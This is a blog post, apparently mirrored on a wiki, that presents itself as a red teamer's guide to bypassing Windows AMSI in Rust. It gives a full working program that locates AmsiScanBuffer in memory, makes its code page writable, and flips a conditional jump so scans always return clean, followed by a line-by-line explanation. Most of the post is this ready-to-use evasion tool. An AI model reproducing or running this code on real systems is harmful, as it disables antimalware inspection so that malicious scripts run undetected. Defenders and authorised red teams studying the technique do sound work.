Jump to content

Patching AMSI in Memory with Rust A Red Teamer’s Guide

From JOHNWICK
Revision as of 17:13, 22 November 2025 by PC (talk | contribs) (Created page with "500px Hey everyone! Maverick here. I’m a red team enthusiast who recently decided to level-up my Rust game. Over the next few months I’ll be rewriting a bunch of classic offensive techniques in Rust, both to practice the language and to have cleaner, faster tools in my kit. Today we’re looking at one of the most classic Windows living-off-the-land tricks: bypassing AMSI (Antimalware Scan Interface) by directly patching AmsiS...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

Hey everyone! Maverick here. I’m a red team enthusiast who recently decided to level-up my Rust game. Over the next few months I’ll be rewriting a bunch of classic offensive techniques in Rust, both to practice the language and to have cleaner, faster tools in my kit. Today we’re looking at one of the most classic Windows living-off-the-land tricks: bypassing AMSI (Antimalware Scan Interface) by directly patching AmsiScanBuffer in memory. If you’re new to red teaming or just curious, don’t worry I’ll explain everything in plain English.

Source : https://code.visualstudio.com/

What is AMSI and why do we care?

AMSI = Antimalware Scan Interface It’s Microsoft’s way of letting antivirus/EDR products “peek” into scripts and in-memory buffers before they get executed. The most common place you hit AMSI is when you’re running PowerShell (or any .NET application that loads the AMSI DLL). Every time PowerShell does something like Invoke-Expression, Add-Type, or even loads a suspicious string into memory, it calls AmsiScanBuffer(“evil code here”). If the AV/EDR says “yep, that looks malicious”, the function returns a bad result (like 1) and PowerShell immediately throws This script contains malicious content and has been blocked by AMSI. So if we can force AmsiScanBuffer to always return “everything is fine” (S_OK = 0), PowerShell and many other .NET-based tools stop caring about our payloads. That’s exactly what this patch does.

The classic patch everyone knows (C/C++ version) In the original C/C++ versions you usually see something like this:

  • Find the address of AmsiScanBuffer
  • Scan backwards for a je (jump if equal, opcode 0x74)
  • Change that je to jne (0x75) so the “malicious” branch is never taken
  • Done AMSI is blind in the current process

That trick has been public since 2016–2017 and still works on most Windows builds in 2025 because Microsoft intentionally left a tiny “debug” stub in the function that makes the pattern very reliable.

My Rust version :

use std::ffi::c_void;
use std::ptr::null_mut;
use windows::core::{s, Error, Result, PCSTR};
use windows::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};
use windows::Win32::System::Memory::{VirtualProtect, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS};

fn main() -> Result<()> {
    unsafe {
        // The byte we will inject: 0x75 = jne instead of 0x74 = je
        let patch_opcode = 0x75u8;

        // Load amsi.dll (it's already loaded by PowerShell, but we force it anyway)
        let h_module = LoadLibraryA(s!("amsi.dll"))?;

        // Get address of AmsiScanBuffer
        let amsi_scan_buffer = GetProcAddress(h_module, PCSTR(b"AmsiScanBuffer\0".as_ptr()))
            .ok_or_else(|| Error::from_win32())? as *const u8;

        // Read a big chunk of the function into memory so we can scan it
        let bytes = std::slice::from_raw_parts(amsi_scan_buffer, 0x1000);

        // Look for the very reliable pattern: ret; int3; int3  →  C3 CC CC
        // This is a debug stub Microsoft left in the function
        let pattern = [0xC3, 0xCC, 0xCC];

        let mut patch_addr: *mut u8 = null_mut();

        if let Some(pos) = bytes.windows(3).position(|w| w == pattern) {
            // Walk backwards from that position looking for the 'je' (0x74)
            for i in (0..pos).rev() {
                if bytes[i] == 0x74 {
                    // Calculate where the jump would land
                    let offset = bytes[i + 1] as i8; // signed offset
                    let target = i as isize + 2 + offset as isize;

                    // Verify that jumping over the je lands on "mov eax, 0" (S_OK)
                    // The opcode for mov eax, imm32 is 0xB8
                    if bytes.get(target as usize) == Some(&0xB8) {
                        patch_addr = amsi_scan_buffer.add(i) as *mut u8;
                        break;
                    }
                }
            }
        }

        if patch_addr.is_null() {
            return Err(Error::from_win32());
        }

        let mut old_protect = PAGE_PROTECTION_FLAGS(0);

        // Make the page writable
        VirtualProtect(
            patch_addr.cast::<c_void>(),
            1,
            PAGE_EXECUTE_READWRITE,
            &mut old_protect,
        )?;

        // Apply the actual patch: je → jne
        *patch_addr = patch_opcode;

        // Restore original protection (good manners + avoids some EDR heuristics)
        VirtualProtect(
            patch_addr.cast::<c_void>(),
            1,
            old_protect,
            &mut old_protect,
        )?;
    }

    println!("[+] AMSI patched successfully by Maverick!");
    Ok(())
}

Step-by-step explanation in human words

  • We load amsi.dll and grab the real address of AmsiScanBuffer PowerShell already loaded it, but calling LoadLibraryA again gives us a handle.
  • We read ~4 KB of the function into a Rust slice That’s more than enough to find what we need.
  • We look for the sequence C3 CC CCC3 = ret instruction CC CC = two int3 (debugger breakpoints) Microsoft ships the function with this tiny stub at the end super reliable fingerprint.
  • From that position we walk backwards byte by byte until we hit 0x74 ?? (a short je jump).
  • We verify the jump target If we take the “not equal” path (after we patch it), we want to land on mov eax, 0 (S_OK = clean). The opcode for mov eax, imm32 is B8, so we just check that byte.
  • Temporarily make the page writable with VirtualProtect Code pages are usually RX (read+execute), not writable.
  • Overwrite the single byte 0x74 → 0x75 That flips “jump if malware” into “do NOT jump if malware”.
  • Restore the original protection Polite and slightly more stealthy.

That’s it. From this moment on, any call to AmsiScanBuffer inside your process will instantly return “clean”.

Source : https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows?view=powershell-7.5 Why Rust?

  • No weird runtime dependencies (just the windows crate)
  • Super easy memory safety even when doing crazy unsafe stuff
  • Compiles to a tiny static binary
  • Excellent for learning low-level Windows internals while staying modern

Final words This is still one of the most reliable AMSI bypasses in 2025 because Microsoft can’t really change the function without breaking backward compatibility for enterprises. Of course modern EDRs have started hooking earlier (ETW, script block logging, etc.) Hope you enjoyed the write-up! Next month I’ll probably do an ETL-based AMSI bypass or maybe a direct syscall stub in Rust. Hack the planet, but protect it too. Out.

Read the full article here: https://medium.com/@shaheeryasirofficial/how-i-built-my-own-amsi-bypass-in-rust-be2b6604632d